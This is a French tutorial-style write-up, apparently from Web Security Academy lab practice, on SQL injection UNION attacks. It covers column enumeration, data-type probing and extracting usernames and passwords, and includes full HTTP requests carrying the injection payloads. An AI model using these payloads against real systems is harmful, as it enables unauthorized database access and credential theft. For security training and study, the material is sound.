SQL injection UNION ATTACKS

Auteur: Brouettelover 2024-01-03 14:18:29
Categories: > > Tags:

Description

Quand une vulnérabilité SQL est possible. IL est possible d’utiliser le mot clef : UNION pour récupérer des données d’une table qui n’est normalement pas accessible.

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Le résultat de cette query retourne 2 colones a et b de la “table1” ainsi que des colones c et d de la table2

Prérequis pour qu’une UNION query fonctionnent :

Déterminer le nombre de colones

1 ère méthode : ORDER BY

Une méthode consiste à tester une série de ORDER BY et d’incrémenter le nombre de colonnes jusqu’à obtenir une erreur.

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY n--
' ORDER BY n+1--

Une erreur devrait apparaître lorque la limite est atteinte.

Elle peut ressembler à ceci :
The ORDER BY position number 3 is out of range of the number of items in the select list.

Ou avoir une erreur HTTP par exemple, le principal est qu’il y’ai une erreur.

2 ème méthode : UNION SELECT

Une deuxième consiste à utiliser une série de UNION SELECT en spécifiant un nombre de valeur null.

Comme ceci :

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

Si le nombre de NULL ne correspond pas au nombre de colones alors la database va renvoyé une erreur, comme :
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

On utiliser une série de NULL pour être sur que les données injectées soient compatibles avec les données originelles.

NULL étant valide pour tous les types de données.

3 ème déterminer le type de données

Pour savoir si une colone contient des données de type string.
Admettons que nous avons trouvé 3 colones.

' UNION SELECT 'abcdef',NULL,NULL--
' UNION SELECT NULL,'abcdef',NULL--

Il suffit de rentrer une string quelconque et de la déplacer jusqu’à trouver un match.

4 Récupérer des informations intéressantes

Si l’on veut récupérer le mot de passe des utilisateurs ainsi que les noms, on peut utiliser ce type d’attaque.

Comme ceci :

' UNION SELECT username, password FROM users--

Il faut bien entendu savoir au préallable qu’il existe bien une table users ainsi que les colonnes username, password. Il est néanmoins possible de deviner ces données, en essayant plusieurs choses possibles.
Exemple pratique

Après avoir déterminé que les données utilisaient 2 colones de string.

GET /filter?category=Clothing%2c+shoes+and+accessories+'+UNION+SELECT+username,password+FROM+users+-- HTTP/2
Host: 0a3500900325f9e58625030a002a00dc.web-security-academy.net
Cookie: session=rdHHyFLxXcdOqrLns6VKJzDfmcP9HrYe
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a3500900325f9e58625030a002a00dc.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

J’ai écris cette requête permettant de récupérer les données de la table users directement.

5 Récupérer plusieurs valeurs sur une seule colone

Dans certains cas, il est possible de récupérer les données sur une seule colone.

Par exemple sur oracle :

' UNION SELECT username || '~' || password FROM users--

|| : est la concaténation sur oracle
“~” indique d’utiliser ~ comme séparateur

Ce qui donne ceci :
Admin~P4ssw0rd

Ce qui nous donne ceci dans un exemple avec une seule colone pouvant avoir des strings :

GET /filter?category=Clothing%2c+shoes+and+accessories+'+UNION+SELECT+NULL,username +||+'~'+||+password+FROM+users+-- HTTP/2
Host: 0aca00ab044710e88058d00e00cb00c3.web-security-academy.net
Cookie: session=JtSDqa1IAQaXoOT0F2Wby2OQ13VW2wjx
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aca00ab044710e88058d00e00cb00c3.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7